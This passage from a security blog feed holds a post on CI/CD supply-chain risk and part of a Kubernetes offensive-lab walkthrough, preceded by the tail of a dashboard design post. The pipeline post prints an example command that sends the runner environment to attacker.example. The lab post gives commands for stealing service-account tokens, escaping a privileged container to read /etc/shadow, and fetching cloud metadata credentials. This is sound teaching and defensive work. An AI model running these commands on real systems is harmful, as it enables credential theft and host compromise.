    actor       TEXT         NOT NULL,   -- "system:dependency_scanner_poll" |
                                         -- "system:auto_close" | user email
    reason      TEXT
);

-- Idempotency for Pub/Sub: redelivery is a cheap conflict-on-insert.
CREATE TABLE processed_payloads (
    id              UUID         PRIMARY KEY DEFAULT gen_random_uuid(),
    source          VARCHAR(64)  NOT NULL,
    poll_id         UUID         NOT NULL,
    raw_uri         TEXT         NOT NULL,
    finding_count   INTEGER      NOT NULL,
    processed_at    TIMESTAMPTZ  NOT NULL DEFAULT now(),
    CONSTRAINT uq_processed_payloads_source_poll UNIQUE (source, poll_id)
);

-- Pre-aggregated rollups for fast trend charts.
CREATE TABLE daily_metrics (
    date                DATE         NOT NULL,
    team                VARCHAR(128) NOT NULL,
    source              VARCHAR(64)  NOT NULL,
    severity            severity     NOT NULL,
    open_count          INTEGER      NOT NULL,
    new_count           INTEGER      NOT NULL,
    fixed_count         INTEGER      NOT NULL,
    sla_breached_count  INTEGER      NOT NULL,
    median_age_days     NUMERIC(8,2) NOT NULL,
    PRIMARY KEY (date, team, source, severity)
);

-- Personal API tokens for non-browser clients (MCP).
CREATE TABLE api_tokens (
    id            UUID         PRIMARY KEY DEFAULT gen_random_uuid(),
    email         TEXT         NOT NULL,
    label         TEXT         NOT NULL,
    prefix        VARCHAR(12)  NOT NULL,
    token_hash    VARCHAR(64)  NOT NULL UNIQUE,   -- sha256 hex
    created_at    TIMESTAMPTZ  NOT NULL DEFAULT now(),
    expires_at    TIMESTAMPTZ,
    revoked_at    TIMESTAMPTZ,
    last_used_at  TIMESTAMPTZ
);

-- Dashboard-side risk accepts. Only valid for pentest findings --
-- everything else defers to upstream suppression.
CREATE TABLE risk_accepts (
    finding_id   UUID         PRIMARY KEY REFERENCES findings(id) ON DELETE CASCADE,
    reason       TEXT         NOT NULL,
    accepted_by  TEXT         NOT NULL,
    expires_at   DATE         NOT NULL,
    created_at   TIMESTAMPTZ  NOT NULL DEFAULT now()
);
</code></pre>
<p>The rollup table is what keeps the trend chart fast: a nightly Cloud Run Job at ~01:00 UTC aggregates the previous day's findings and events into one row per <code>(date, team, source, severity)</code>. The chart reads from <code>daily_metrics</code> instead of scanning the raw <code>findings</code> table on every page load.</p>
<hr />
<h2>11. On-demand vendor reports</h2>
<p>Adjacent to the dashboard, I also ship <strong>on-demand PDF reports</strong> for the SAST scanner -- generated from open-source reporting tooling that exists in the security community but is awkward to run by hand.</p>
<p>Any authenticated user picks an organization, picks projects from a live API list, picks a report type, and clicks Generate. The backend inserts a <code>report_jobs</code> row, kicks off the job in a background thread, and the page polls until the artifact is ready. Artifacts live in object storage with 7-day retention. Rate limit: 5 in-flight jobs per requesting email.</p>
<p>The interesting part is not the feature itself; it's the pattern. Take a thing that technically worked in isolation (a Streamlit prototype, in this case), and fold it into the same auth, the same UI, the same audit log, the same operational story.</p>
<hr />
<h2>12. What I deliberately said no to</h2>
<p>Every system is partly defined by what it refuses to do.</p>
<p>I skipped Jira integration (ticketing is a downstream team workflow choice, not a dashboard concern), multi-tenancy (single internal tool for a single org, no current value in that complexity), and agentic write operations in Phase 1 (the MCP server stays read-only until I have real usage data on what Phase 2 actually needs to mutate). I also skipped auto-remediation (even obvious fixes like a version bump are a team-level intentionality question, not an automated one) and a bespoke notification system (system alerts go to one webhook; per-team alerts are opt-in via <code>ownership.yaml</code>).</p>
<p>The watchword throughout: <strong>be the dashboard, not the orchestrator.</strong> Other tools are already great at their jobs. I make their output legible together.</p>
<hr />
<h2>13. The takeaway</h2>
<p>The interesting thing about this project isn't any single technology choice. It's how cheap the <strong>AI-as-CLI-client</strong> experience becomes once you've done the unglamorous middle work:</p>
<ol>
<li><p>One <strong>deterministic identity contract</strong> per finding so every downstream computation is idempotent and replay-safe.</p>
</li>
<li><p>One <strong>normalizer</strong> that's atomic per snapshot, with auto-close inside the same transaction so there's never a window of inconsistent state.</p>
</li>
<li><p>One <strong>API</strong> with a tiny, ruthless RBAC model (email is in the list or it isn't).</p>
</li>
<li><p>One <strong>token mechanism</strong> that lets any user wire an AI assistant up in 60 seconds without filing a ticket.</p>
</li>
<li><p>One <strong>MCP wrapper</strong> that's a translation surface (zero business logic, mirrors the API one-to-one) and scales across every persona that needs to query security posture -- the developer mid-sprint, the security engineer on Monday morning, and the CI pipeline before a release.</p>
</li>
</ol>
<p>Once those are in place, the developer experience changes shape. Security stops being a tab. It stops being a Monday-morning Slack ping. It becomes a question you ask the assistant that's already open, in plain English, while you're already in the file you'd need to edit. The fix is a branch and a PR away. The verification is a re-query away.</p>
<p>That's the goal: <strong>friction down, signal up.</strong> The dashboard exists to give humans one place to look -- and to give their AI assistants one place to ask.</p>
<hr />
<h2>14. Reading list</h2>
<p>If you want to go deeper on any of the design decisions referenced above, the patterns that informed this work are all in the open:</p>
<ul>
<li><p><strong>Anthropic's Model Context Protocol</strong> -- <a href="https://modelcontextprotocol.io"><code>modelcontextprotocol.io</code></a>. The transport, tool, and prompt primitives are well-specified and stable enough to build production tooling on.</p>
</li>
<li><p><strong>OCSF (Open Cybersecurity Schema Framework)</strong> -- informed the unified finding schema, though I ended up with a pragmatic subset rather than strict compliance.</p>
</li>
<li><p><strong>SARIF</strong> -- the standard for security analyzer output. Worth knowing about even if you're not parsing it directly, because most CI-integrated scanners speak it.</p>
</li>
<li><p><strong>GCP Identity-Aware Proxy</strong> for "auth at the edge, app code stays simple."</p>
</li>
</ul>
<p>Thanks for reading. If you're working on something in this space and want to compare notes, the comments are open.</p>
]]></content:encoded></item><item><title><![CDATA[Pipeline Security and Supply Chain Risk: Closing the Gap Between AppSec and CloudSec]]></title><description><![CDATA[Why the assumption that CI/CD is a trusted internal tool has already cost organisations dearly]]></description><link>https://nebulablogs.com/pipeline-security-and-supply-chain-risk-closing-the-gap-between-appsec-and-cloudsec</link><guid isPermaLink="true">https://nebulablogs.com/pipeline-security-and-supply-chain-risk-closing-the-gap-between-appsec-and-cloudsec</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[ci-cd]]></category><category><![CDATA[Security]]></category><category><![CDATA[cloud security]]></category><category><![CDATA[appsec]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Tue, 19 May 2026 21:16:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/17c36c67-58a6-4497-a069-dcb83568b01b.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Working in cloud security, I spend a lot of time thinking about the seams between systems: the places where one team's security coverage ends and another's begins. The gap I keep coming back to is CI/CD. It sits between application security and cloud security, touches both, and is fully owned by neither.</p>
<p><strong>Most organisations treat their pipeline as a trusted internal tool. It is not.</strong> It is a privileged execution environment that runs code from external sources on every single build, with almost no security observability.</p>
<hr />
<h2>The Two Islands and the Bridge Between Them</h2>
<p>AppSec and CloudSec are two well-defended islands. AppSec covers the code: SAST, DAST, software composition analysis, container scanning, secrets detection in commits. CloudSec covers the infrastructure: IAM policies, network configuration, resource posture, runtime monitoring.</p>
<p>CI/CD is the bridge. It takes code from one island and deploys it to the other. To do that job, it needs credentials for both: your container registry, your cloud infrastructure deployment keys, your secrets manager tokens, sometimes direct access to production for smoke tests or database migrations.</p>
<p><strong>The problem is that neither island's security team fully governs the bridge.</strong> AppSec focuses on what is inside the code. CloudSec focuses on what is running in the cloud. The pipeline operates in the gap between them, and because it is an internal tool used by engineers who already have significant access, the risks get underplayed. Everyone assumes someone else is watching it.</p>
<hr />
<h2>How a GitHub Actions and GCP Pipeline Actually Works (and Where Trust Breaks Down)</h2>
<p>I work with GitHub Actions and GCP, a common enough setup to walk through in detail.</p>
<p>A repository has workflow YAML files defining what happens on push or merge. Those workflows reference marketplace actions, run shell scripts, install dependencies, build container images, push them to Artifact Registry, and deploy to Cloud Run or GKE via Terraform. Each of those steps involves a level of trust that is rarely examined closely.</p>
<p><strong>The</strong> <code>uses:</code> <strong>directive pulls a third-party action from GitHub and runs it with the same permissions as the rest of the job.</strong> If that action's repository is compromised, or if the version tag has been silently moved to a different commit, you are running attacker-controlled code inside your build environment.</p>
<pre><code class="language-yaml"># Mutable: the tag can be moved at any time
- uses: actions/checkout@v4

# Immutable: the commit cannot be changed
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af68 # v4.2.2
</code></pre>
<p>The <code>npm install</code> or <code>pip install</code> step fetches packages from public registries. Those packages can contain <code>preinstall</code> and <code>postinstall</code> scripts that execute arbitrary code at install time, before any of your application code runs. In March 2026, the <a href="https://www.sonatype.com/blog/compromised-litellm-pypi-package-delivers-multi-stage-credential-stealer">litellm PyPI package</a> was compromised and two malicious versions were live for at least two hours. With three million daily downloads, the blast radius during that window alone was significant. The payload harvested AWS, GCP, and Kubernetes credentials, SSH keys, and CI/CD configuration files, then established persistence as a background service.</p>
<p>The runner cannot detect any of this. GitHub-hosted runners have no kernel-level visibility into what happens during a build: no EDR equivalent, no syscall monitoring, no network egress filtering by default. <strong>It is a privileged shell that trusts everything it is told to run.</strong></p>
<p>And the credentials available to that shell are often the most sensitive in the organisation. A service account key used for Terraform deployments needs broad permissions because infrastructure-as-code genuinely requires them. A GitHub Actions secret holding a GCP service account key with <code>roles/editor</code> is not unusual. If anything in that execution chain is compromised, an attacker has credentials with significant blast radius inside a system with almost no observability.</p>
<hr />
<h2>The Observability Black Hole</h2>
<p>Here is why this goes undetected even in mature security teams: <strong>the log volume from CI/CD systems is enormous, and writing useful detection rules against it is genuinely hard.</strong></p>
<p>A busy engineering org generates tens of thousands of workflow runs per month. Routing all of that into a SIEM is technically possible. Making sense of it is not. What does a normal GitHub Actions run look like? The answer changes constantly as teams add new build steps, dependencies, and tools. A new outbound network call could be a malicious payload phoning home or a developer adding an analytics SDK. Writing a detection rule that catches one without flooding the queue with false positives requires a dynamic baseline per repository, per workflow, per job type.</p>
<p>Most security teams make the pragmatic call: the signal-to-noise ratio is not good enough to justify the effort, so CI/CD logs go into cold storage and nobody looks at them unless something has already gone wrong. I understand why. But it means <strong>the pipeline is operating with essentially zero security observability.</strong></p>
<p>This is also a structural gap. Pipeline security does not fit neatly into the AppSec team's remit or the platform engineering team's remit. Both care about it in principle. Neither fully owns it.</p>
<hr />
<h2>Agentic Workflows Are Widening the Gap</h2>
<p>AI coding tools generate more code faster, and a meaningful portion goes through lighter review than hand-written changes would. That is a reasonable trade-off. But the volume of changes is higher, and increasingly those changes include modifications to CI/CD configuration: new workflow files, new dependency additions, new environment variable references.</p>
<p><strong>Agentic workflows can produce changes to</strong> <code>package.json</code><strong>,</strong> <code>requirements.txt</code><strong>, or workflow YAML that get merged with minimal scrutiny</strong> because the feature code looks correct and the build scaffolding changes look routine. A <code>preinstall</code> script added through a dependency update, a new third-party action referenced in a workflow: these are easy to miss when reviewers are focused on feature logic rather than build scaffolding.</p>
<p>The answer is not to block agentic workflows. It is to build compensating controls that flag risky changes to build configuration regardless of who authored them, so the review burden does not scale linearly with AI-generated code volume.</p>
<hr />
<h2>What a Real Supply Chain Attack Looks Like</h2>
<p>Supply chain attacks against CI/CD pipelines are not hypothetical. This happened to axios in March 2026.</p>
<p>Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 300 million weekly downloads. <a href="https://www.sonatype.com/blog/axios-compromise-on-npm-introduces-hidden-malicious-package">Attackers hijacked an npm maintainer account</a> and published two malicious versions: <code>axios@1.14.1</code> and <code>axios@0.30.4</code>. Neither version contained malicious code directly. Instead, both quietly introduced a hidden transitive dependency on a newly published package called <code>plain-crypto-js@4.2.1</code>, timed and named to resemble a legitimate cryptography library.</p>
<p>When either malicious axios version was installed, npm automatically pulled in <code>plain-crypto-js</code> and executed its <code>postinstall</code> hook. The payload fingerprinted the host OS, used layered base64 and XOR decoding to reconstruct hidden strings and a C2 endpoint, fetched a second-stage payload, and ultimately delivered a remote access trojan. It then deleted its own artifacts and replaced <code>package.json</code> to mask its presence.</p>
<p>In a GitHub Actions context, environment variables are particularly valuable. A typical runner environment contains repository tokens, cloud provider credentials, container registry authentication, and any other secrets configured in the repository. <strong>Exfiltrating them is a single</strong> <code>curl</code> <strong>command:</strong></p>
<pre><code class="language-bash"># What a malicious postinstall script might do
curl -s -X POST https://attacker.example/collect \
  -d "$(env | base64)"
</code></pre>
<p>The axios compromise was live for roughly 40 minutes before Sonatype's automated tooling flagged it and npm removed the packages. Forty minutes is long enough to execute in thousands of CI/CD pipelines. <strong>In most cases the affected organisations had no log evidence of what happened inside the runner, because they were not capturing it.</strong> The thread running through this and almost every supply chain incident like it: a maintainer account secured by a long-lived token, never rotated, eventually an attacker's entry point.</p>
<hr />
<h2>Frameworks Worth Knowing</h2>
<p>The industry has produced several frameworks for this problem. <a href="https://slsa.dev/">SLSA</a> defines four levels of supply chain integrity; most teams are at Level 1 at best. The <a href="https://owasp.org/www-project-ci-cd-top-10/">OWASP CI/CD Security Top 10</a> is the most directly applicable checklist for threat modelling a pipeline. The CNCF Secure Software Supply Chain Best Practices whitepaper covers the end-to-end picture for cloud-native environments. NIST SSDF includes guidance on protecting build environments and verifying third-party components.</p>
<p>The challenge is that tooling to operationalise these frameworks is still maturing. The practical work mostly involves custom controls and deliberate configuration choices.</p>
<p>One I have been looking into recently is the <a href="https://owasp.org/www-project-spvs/">OWASP Secure Pipeline Verification Standard (SPVS)</a>. It is a maturity-based framework covering the full delivery lifecycle: Plan, Develop, Integrate, Release, and Operate. Rather than focusing on a single layer, it gives teams structured controls across the entire pipeline and a model to progress from baseline security practices toward more advanced, secure-by-design pipelines. It is still relatively new but the framing maps well to the gaps this post describes, and I expect it to become a useful reference as it matures.</p>
<hr />
<h2>Breaking the Implicit Trust Model</h2>
<p>The goal is to replace implicit trust with verifiable controls at every stage of the pipeline.</p>
<p><strong>Get off long-lived credentials first.</strong> For GitHub Actions to GCP, Workload Identity Federation lets you exchange a short-lived OIDC token for a GCP access token scoped to that specific job. The credential exists for the duration of the workflow run and then expires: no key to rotate, no secret to steal, no token worth exfiltrating.</p>
<pre><code class="language-yaml"># No long-lived key in GitHub Secrets
- id: auth
  uses: google-github-actions/auth@v2
  with:
    workload_identity_provider: 'projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID'
    service_account: 'deploy-sa@PROJECT_ID.iam.gserviceaccount.com'
</code></pre>
<p>If you have long-lived service account keys in GitHub Secrets today, <strong>replacing them with WIF is the single most impactful change you can make to your pipeline security posture.</strong></p>
<p><strong>Scope permissions per job, not per repository.</strong> A job that runs tests does not need the same cloud permissions as a job that applies Terraform. Define minimal <code>permissions:</code> at the job level:</p>
<pre><code class="language-yaml">jobs:
  test:
    permissions:
      contents: read
      id-token: write

  deploy:
    permissions:
      contents: read
      id-token: write
    # uses a separate, more privileged service account via WIF
</code></pre>
<p><strong>Pin third-party actions to a full commit SHA.</strong> A version tag is mutable. A full SHA is not. Renovate handles the maintenance burden: it opens PRs to bump your pinned SHAs when upstream tags advance, with a clear diff of what changed. You get immutability without manual tracking. <strong>Treat your workflow YAML dependencies with the same rigour as your application dependencies. The supply chain risk is identical.</strong></p>
<p><strong>Require review on workflow file changes.</strong> Branch protection rules combined with CODEOWNERS creates a mandatory human checkpoint for the changes that matter most:</p>
<pre><code class="language-plaintext"># .github/CODEOWNERS
.github/workflows/ @your-org/security-team
</code></pre>
<p><strong>Audit</strong> <code>preinstall</code> <strong>and</strong> <code>postinstall</code> <strong>scripts in dependencies.</strong> Automated checks that flag dependency changes containing install lifecycle scripts, particularly in agentic pull requests, catch the risk at review time rather than during incident response.</p>
<hr />
<h2>Signing Artifacts and Building a Chain of Custody</h2>
<p>Even with hardened pipeline inputs, you need to verify that what comes out of the build is what you intended to deploy.</p>
<p><strong>Sigstore's</strong> <code>cosign</code> <strong>gives you cryptographic signing and attestations for container images.</strong> An attestation proves not just who signed an artifact, but how it was built: source repository, commit SHA, workflow that ran, build environment. This is the foundation of SLSA provenance.</p>
<p>Binary Authorization is GCP's policy enforcement layer for deployments. Configure it with attestation requirements and it refuses to deploy any container to Cloud Run or GKE without a valid attestation from a trusted builder:</p>
<pre><code class="language-yaml">defaultAdmissionRule:
  evaluationMode: REQUIRE_ATTESTATION
  enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
  requireAttestationsBy:
    - projects/PROJECT_ID/attestors/built-by-cloud-build
</code></pre>
<p><strong>A container built outside your verified pipeline will not deploy.</strong> Combined with cosign-generated attestations, this gives you an enforceable chain of custody from source commit to running container. For Kubernetes, Kyverno and OPA/Gatekeeper extend this enforcement at the admission control layer.</p>
<hr />
<h2>Filling the Gaps with Custom Controls</h2>
<p>Off-the-shelf products do not yet cover all of this comprehensively. Some of the most effective controls are built in-house.</p>
<p>A custom GitHub Actions step that diffs workflow YAML changes against a policy baseline catches things generic scanners miss: new third-party actions without a SHA pin, new secret references, jobs that escalate permissions beyond an established baseline. A lightweight log shipper that captures runner environment variable names (not values) and ships them to a SIEM is <strong>the minimum viable observability for a system that currently has almost none.</strong> A pre-merge check that routes agentic PRs containing changes to dependency files or workflow YAML through a separate approval flow is a proportionate response without blocking productivity.</p>
<p>None of these are perfect. But they fill real gaps while the industry builds better native tooling.</p>
<hr />
<h2>Rethink the Trust Model</h2>
<p>CI/CD security has lagged partly for cultural reasons. These are internal tools maintained by trusted engineers, and the threat model was built around external attackers. <strong>Supply chain attacks broke that assumption.</strong> The threat is not a malicious insider. It is a compromised upstream dependency, a hijacked maintainer account, a long-lived token that was generated for convenience and never rotated. The attacker gets inside the perimeter by compromising something the pipeline trusts, then uses the pipeline's own privileges against you.</p>
<p>Your pipeline is not a trusted internal tool. It is an execution environment with privileged access to production systems that runs code from external sources on every single build. <strong>It deserves the same threat modelling discipline as a public-facing API.</strong></p>
<p>Start by mapping what your pipeline actually touches: what credentials it holds, what external sources it downloads from, what it can access in your cloud environment. Then work backwards through the controls above and close the most critical gaps first.</p>
<hr />
<h2>Resources</h2>
<ul>
<li><p><a href="https://www.sonatype.com/blog/axios-compromise-on-npm-introduces-hidden-malicious-package">Sonatype: Axios Compromise on npm (March 2026)</a></p>
</li>
<li><p><a href="https://www.sonatype.com/blog/sandworm_mode-the-rise-of-adaptive-supply-chain-worms">Sonatype: SANDWORM_MODE — The Rise of Adaptive Supply Chain Worms (March 2026)</a></p>
</li>
<li><p><a href="https://www.sonatype.com/blog/compromised-litellm-pypi-package-delivers-multi-stage-credential-stealer">Sonatype: Compromised litellm PyPI Package (March 2026)</a></p>
</li>
<li><p><a href="https://owasp.org/www-project-ci-cd-top-10/">OWASP CI/CD Security Top 10</a></p>
</li>
<li><p><a href="https://owasp.org/www-project-spvs/">OWASP Secure Pipeline Verification Standard (SPVS)</a></p>
</li>
<li><p><a href="https://slsa.dev/">SLSA Framework</a></p>
</li>
<li><p><a href="https://github.com/cncf/tag-security/blob/main/supply-chain-security/supply-chain-security-paper/CNCF_SSCP_v1.pdf">CNCF Secure Software Supply Chain Best Practices</a></p>
</li>
<li><p><a href="https://docs.github.com/en/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform">GitHub Actions: Configuring OpenID Connect in GCP</a></p>
</li>
<li><p><a href="https://cloud.google.com/iam/docs/workload-identity-federation">Google Cloud: Workload Identity Federation</a></p>
</li>
<li><p><a href="https://docs.sigstore.dev/cosign/overview/">cosign / Sigstore</a></p>
</li>
<li><p><a href="https://cloud.google.com/binary-authorization/docs/overview">GCP Binary Authorization</a></p>
</li>
<li><p><a href="https://kyverno.io/docs/">Kyverno</a></p>
</li>
<li><p><a href="https://docs.renovatebot.com/modules/manager/github-actions/">Renovate for GitHub Actions pinning</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Attacking Kubernetes: Offensive Recon and Attack Path Analysis with CDK, Kubehound, and Kubescape]]></title><description><![CDATA[Part 1 - Lab setup, attacker simulation, and finding exploitable misconfigurations]]></description><link>https://nebulablogs.com/attacking-kubernetes-offensive-recon-and-attack-path-analysis-with-cdk-kubehound-and-kubescape</link><guid isPermaLink="true">https://nebulablogs.com/attacking-kubernetes-offensive-recon-and-attack-path-analysis-with-cdk-kubehound-and-kubescape</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[Cloud Computing]]></category><category><![CDATA[cloud native]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[Security]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Thu, 14 May 2026 20:53:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/63c36531502ec63755722bf4/7042a462-0459-4567-94ec-920ea32bbc6a.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>One of the best ways to build better Kubernetes security is to understand what an attacker actually does after they get into a cluster. Reading about it is one thing, but running through it hands-on in a lab environment makes the risks much more concrete. This post covers how I set up a local Kubernetes lab using WSL and Kind, and walked through the offensive side using CDK, Kubehound, and Kubescape.</p>
<p>Part 2 will cover the detection side with Falco, Tetragon, kube-bench, and Wazuh.</p>
<h2>Tools Overview</h2>
<p><strong>Kubernetes Goat</strong> (<a href="https://github.com/madhuakula/kubernetes-goat">GitHub</a>) is a deliberately vulnerable Kubernetes environment built for learning attack and defense. It ships with around 20 attack scenarios covering privilege escalation, container escape, SSRF, secret exposure, and lateral movement. Think of it as DVWA for Kubernetes.</p>
<p><strong>CDK (Container and Kubernetes Dewdrops)</strong> (<a href="https://github.com/cdk-team/CDK">GitHub</a>) is an offensive toolkit designed to be dropped inside a compromised container. It is a single static binary that automatically enumerates the container environment, checks for escape vectors, and identifies accessible credentials and misconfigurations.</p>
<p><strong>Kubehound</strong> (<a href="https://github.com/DataDog/KubeHound">GitHub</a>) is an attack path analysis tool built by Datadog's security research team. It ingests your cluster's state (RBAC, workloads, service accounts, network policies) and generates a graph of all viable attack paths. It answers questions like "which pod can reach cluster-admin in three hops?" and "what is the blast radius if this service account token is stolen?"</p>
<p><strong>Kubescape</strong> (<a href="https://github.com/kubescape/kubescape">GitHub</a>) is a CNCF security posture tool that scans your cluster against established frameworks including NSA-CISA Kubernetes Hardening Guidance, MITRE ATT&amp;CK for Containers, and CIS Benchmarks. It scores findings and provides remediation guidance for each control.</p>
<hr />
<h2>Prerequisites</h2>
<p>All of the following was set up inside WSL (Ubuntu 22.04) on Windows.</p>
<ul>
<li><p><a href="https://www.docker.com/products/docker-desktop/">Docker Desktop</a> with WSL2 integration enabled</p>
</li>
<li><p><a href="https://kind.sigs.k8s.io/docs/user/quick-start/#installation">Kind</a> for running a local Kubernetes cluster inside WSL</p>
</li>
<li><p><a href="https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/">kubectl</a></p>
</li>
<li><p><a href="https://helm.sh/docs/intro/install/">Helm</a></p>
</li>
</ul>
<p>To verify Kind is working inside WSL:</p>
<pre><code class="language-bash">kind version
kubectl version --client
</code></pre>
<hr />
<h2>Lab Setup</h2>
<h3>1. Kubernetes Goat on WSL with Kind</h3>
<pre><code class="language-bash"># Clone the repo
git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat

# Create a Kind cluster
kind create cluster --name kubernetes-goat

# Confirm your context
kubectl config current-context
# Expected output: kind-kubernetes-goat

# Deploy Kubernetes Goat
bash setup-kubernetes-goat.sh

# Verify pods are running
kubectl get pods --all-namespaces
</code></pre>
<p>Once everything is up, port-forward the scenario guide to your browser:</p>
<pre><code class="language-bash">bash access-kubernetes-goat.sh
# Opens at http://localhost:1234
</code></pre>
<p>The guide walks through each scenario. The ones most relevant to this post are:</p>
<ol>
<li><p>Sensitive keys in environment variables</p>
</li>
<li><p>Docker-in-Docker (DinD) abuse</p>
</li>
<li><p>SSRF to cloud metadata</p>
</li>
<li><p>Privileged container escape</p>
</li>
<li><p>Service account token abuse</p>
</li>
</ol>
<hr />
<h3>2. CDK</h3>
<p>CDK is a single binary. You do not install it on your host machine. The intent is to transfer it into a compromised container the way an attacker would.</p>
<p>Inside WSL, download the binary:</p>
<pre><code class="language-bash">curl -L https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64 -o cdk
chmod +x cdk
</code></pre>
<p>To copy it into a running pod:</p>
<pre><code class="language-bash">kubectl cp ./cdk &lt;namespace&gt;/&lt;pod-name&gt;:/tmp/cdk
</code></pre>
<hr />
<h3>3. Kubehound</h3>
<p>Kubehound uses Docker Compose to run a local graph database backend (JanusGraph and Elasticsearch). Run it from within WSL with Docker Desktop's WSL2 integration active.</p>
<pre><code class="language-bash">git clone https://github.com/DataDog/KubeHound.git
cd KubeHound

# Start the backend stack
docker compose -f deployments/kubehound/docker-compose.yaml up -d

# Wait for services to be healthy, then run the ingestor
# KUBECONFIG should point to your Kind cluster
./bin/kubehound
</code></pre>
<p>Once ingestion completes, the Kubehound UI (Jupyter notebooks with pre-built attack path queries) is available at <code>http://localhost:8888</code>.</p>
<hr />
<h3>4. Kubescape</h3>
<pre><code class="language-bash">curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Confirm installation
kubescape version
</code></pre>
<hr />
<h2>Simulating an Attacker Inside a Compromised Pod</h2>
<p>For this walkthrough, I exec'd into one of the Kubernetes Goat pods to simulate what an attacker would do after gaining initial access to a container.</p>
<pre><code class="language-bash">kubectl exec -it &lt;pod-name&gt; -n &lt;namespace&gt; -- /bin/bash
</code></pre>
<h3>Step 1: CDK Evaluate</h3>
<p>The first thing an attacker does is understand the environment. CDK's <code>evaluate</code> command runs automated recon in one shot:</p>
<pre><code class="language-bash">/tmp/cdk evaluate
</code></pre>
<p>CDK checks for:</p>
<ul>
<li><p>Container runtime (Docker, containerd, etc.)</p>
</li>
<li><p>Linux capabilities (<code>CAP_SYS_ADMIN</code>, <code>CAP_NET_ADMIN</code>, <code>CAP_DAC_OVERRIDE</code>, etc.)</p>
</li>
<li><p>Mounted paths (Docker socket, host filesystem mounts)</p>
</li>
<li><p>Kubernetes service account token presence and permissions</p>
</li>
<li><p>Cloud provider metadata endpoints (AWS IMDS, GCP metadata)</p>
</li>
<li><p>Reachability of the Kubernetes API server</p>
</li>
<li><p>Whether the container is running as root or with <code>--privileged</code></p>
</li>
<li><p>Known CVEs (CVE-2019-5736 runc escape, CVE-2020-15257 containerd-shim, etc.)</p>
</li>
</ul>
<p>A representative output on a privileged Kubernetes Goat container looks like this:</p>
<pre><code class="language-plaintext">[  Information Gathering - System  ]
Container Runtime: containerd
Current User: root

[  Information Gathering - Services  ]
Kubernetes API: https://10.96.0.1:443 (reachable)
ServiceAccount Token: FOUND at /var/run/secrets/kubernetes.io/serviceaccount/token
Kubernetes Namespace: default

[  Information Gathering - Sensitive Files  ]
Possible K8s service account token: /var/run/secrets/kubernetes.io/serviceaccount/token

[  Exploit - Privileged Container  ]
[!] CAP_SYS_ADMIN detected. Host filesystem may be accessible.
[!] /host/etc found - host root may be mounted at /host

[  Available Exploits  ]
[+] cdk run --exploit mount-disk
[+] cdk run --exploit service-account-token-collector
[+] cdk run --exploit k8s-node-apiserver
</code></pre>
<p>The last block is where the attacker's next steps come from. CDK identifies exactly which exploits are viable given the current environment and prints them directly.</p>
<hr />
<h3>Step 2: Service Account Token Abuse</h3>
<p>By default, Kubernetes mounts a service account token into every pod at <code>/var/run/secrets/kubernetes.io/serviceaccount/token</code>. This token carries whatever RBAC permissions have been granted to the associated service account. In many clusters (and across multiple Kubernetes Goat scenarios), those permissions are broader than intended.</p>
<p>CDK can collect and test the token automatically:</p>
<pre><code class="language-bash">/tmp/cdk run --exploit service-account-token-collector
</code></pre>
<p>Or manually:</p>
<pre><code class="language-bash">TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://10.96.0.1:443
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# List secrets in the default namespace
curl -s --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/default/secrets

# Attempt to list pods cluster-wide
curl -s --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/pods
</code></pre>
<p>In Kubernetes Goat, several service accounts can list secrets cluster-wide, create pods, or both. A service account that can create pods is particularly dangerous because it allows an attacker to schedule a new privileged pod, which is the next step toward node compromise.</p>
<hr />
<h3>Step 3: Privileged Container Escape</h3>
<p>Kubernetes Goat Scenario 4 runs a container with <code>securityContext.privileged: true</code> and the host filesystem mounted. CDK detects this automatically and surfaces the exploit:</p>
<pre><code class="language-bash">/tmp/cdk run --exploit mount-disk
</code></pre>
<p>What this does is mount the host's root disk device inside the container, then use <code>chroot</code> to get a shell in the host OS. At that point, you are no longer inside the container. You have root on the underlying Kubernetes node.</p>
<p>Doing this manually to understand what is happening:</p>
<pre><code class="language-bash"># Identify the host disk
fdisk -l

# Mount it
mkdir /tmp/hostfs
mount /dev/sda1 /tmp/hostfs

# Chroot into the host
chroot /tmp/hostfs /bin/bash

# You are now on the node
hostname
cat /etc/shadow
</code></pre>
<hr />
<h3>Step 4: Cloud Metadata Recon (SSRF via IMDS)</h3>
<p>This step applies to cloud-hosted clusters, but is worth understanding since Kubernetes Goat includes an SSRF scenario that simulates it. In a real EKS or GKE cluster, the instance metadata service is reachable from pods unless explicitly blocked via network policy or IMDS hop-limit configuration.</p>
<pre><code class="language-bash"># AWS IMDSv1 (no token required, which is the problem)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
</code></pre>
<p>CDK checks for metadata endpoint reachability automatically during <code>evaluate</code>, so attackers get this information without having to know the endpoint addresses in advance.</p>
<hr />
<h2>Mapping Attack Paths with Kubehound</h2>
